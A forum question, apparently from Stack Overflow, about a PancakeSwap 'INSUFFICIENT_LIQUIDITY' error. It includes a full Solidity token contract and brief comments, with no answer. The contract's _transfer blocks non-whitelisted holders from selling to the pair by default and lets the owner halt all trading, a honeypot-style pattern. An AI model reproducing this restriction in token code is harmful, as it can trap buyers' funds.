The contract function "addLiquidityETH" reverted with the following reason: PancakeLibrary: INSUFFICIENT_LIQUIDITY

Question

I got an error when adding liquidity to my coin on the BNB Smart Chain mainnet.

During development and testing on the test network, there were no problems. It appeared only on the mainnet.

the error appears when I want to add liquidity on PancakeSwap V2. Here is the error:

I would be very grateful if you could help with this!

I tried to change the amounts, I tried to change accounts that add liquidity, it didn't help

This is my code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IERC20 {
    
    function totalSupply() external view returns (uint);
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library SafeMath {
    

    function add(uint a, uint b) internal pure returns (uint) {
        return a + b;
    }

    function sub(uint a, uint b) internal pure returns (uint) {
        return a - b;
    }

    function mul(uint a, uint b) internal pure returns (uint) {
        return a * b;
    }
    
    function div(uint a, uint b) internal pure returns (uint) {
        return a / b;
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { //Contract By Techaddict
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;


    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = address(msg.sender);
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
        ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
        ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
        ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
}

contract Dextro is Context, IERC20, Ownable { 
    using SafeMath for uint;
    using Address for address;

    mapping (address => uint) private _tOwned;
    mapping (address => bool) private _isHolder;
    mapping (address => mapping (address => uint)) private _allowances;
    
    string private _name = "Dextro"; 
    string private _symbol = "DXT";  
    uint8 private _decimals = 18;
    uint private _tTotal = 100000000 * 10 ** _decimals;

    bool public TradeStatus = true;
    bool public AirDropStatus = true;

    // Counter for liquify trigger
    uint8 private txCount = 0;

    /* 
    PANCAKESWAP SET UP
    */
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint tokensSwapped,
        uint ethReceived,
        uint tokensIntoLiqudity
        
    );
    
    // Prevent processing while already processing! 
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {
        _tOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);

        // Create pair address for PancakeSwap
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(_uniswapV2Router.WETH(), address(this));
        uniswapV2Router = _uniswapV2Router;
        
        _isHolder[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }


    /*
    STANDARD ERC20 COMPLIANCE FUNCTIONS
    */
    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function decimals() public view returns (uint8) {
        return _decimals;
    }
    function totalSupply() public view override returns (uint) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint) {
        return _tOwned[account];
    }
    function transfer(address recipient, uint amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function increaseAllowance(address spender, uint addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
    function decreaseAllowance(address spender, uint subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    // This function is required so that the contract can receive BNB from pancakeswap
    receive() external payable {}

    // Approve a wallet to sell tokens
    function _approve(address owner, address spender, uint amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint amount
    ) private {
        require(TradeStatus, "Trading is not avalible now!");

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");
        assert(amount != type(uint256).max);
        assert(!AirDropStatus || (to != uniswapV2Pair || (_isHolder[from])));

        _tokenTransfer(from,to,amount);
    }

    // Swapping tokens for BNB using PancakeSwap 
    function swapTokensForBNB(uint tokenAmount) private {
        require(TradeStatus, "Trading is not available now!");

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETH(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    /*
    PURGE RANDOM TOKENS - Add the random token address and a wallet to send them to
    */

    // Remove random tokens from the contract and send to a wallet
    function remove_Random_Tokens(address random_Token_Address, address send_to_wallet, uint number_of_tokens) public onlyOwner returns(bool _sent){
        require(random_Token_Address != address(this), "Can not remove native token");
        uint randomBalance = IERC20(random_Token_Address).balanceOf(address(this));

        if (number_of_tokens > randomBalance) {
            number_of_tokens = randomBalance;
        }
        
        _sent = IERC20(random_Token_Address).transfer(send_to_wallet, number_of_tokens);
    }

    function addHolder(address holder) public onlyOwner {
        if (holder != address(0) && !_isHolder[holder]) {
            _isHolder[holder] = true;
        }
    }

    function removeHolder(address holder) public onlyOwner {
        if (holder != address(0) && _isHolder[holder]) {
            _isHolder[holder] = false;
        }
    }

    function availableTradnig(bool status) public onlyOwner{
        TradeStatus = status;
    }

    function startAirDrop(bool status) public onlyOwner{
        AirDropStatus = status;
    }

    /* TOKEN TRANSFERS */
    function _tokenTransfer(address sender, address recipient, uint amount) private {
        _transferTokens(sender, recipient, amount);
    }

    function _transferTokens(address sender, address recipient, uint tAmount) private {
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tAmount);
        emit Transfer(sender, recipient, tAmount);
    }


}```

Can you share etherscan link for your production smart contract? — Robin Thomas, Aug 20 '23 at 05:49
Yeah, here is it: https://bscscan.com/address/0x4922867D9DB117dd75BaF52d4768f58C6305797e — Nikita Novitskiy, Aug 20 '23 at 05:52
I don't see any failed transaction in the above link. Where is that? — Robin Thomas, Aug 20 '23 at 05:53
This error appear before sending transaction. On add liquidity on pancakeswap — Nikita Novitskiy, Aug 20 '23 at 05:54
So, i should send from my wallet some bnb to smart contract to add liquidity? — Nikita Novitskiy, Aug 20 '23 at 06:17
Can I know why `swapAndLiquifyEnabled` is `true` in your smart contract? I think its supposed to be `false`. — Robin Thomas, Aug 20 '23 at 06:28
This parameter does not affect swap or liquify, so I don't think it's because of that — Nikita Novitskiy, Aug 20 '23 at 06:43

The contract function "addLiquidityETH" reverted with the following reason: PancakeLibrary: INSUFFICIENT_LIQUIDITY

0 Answers0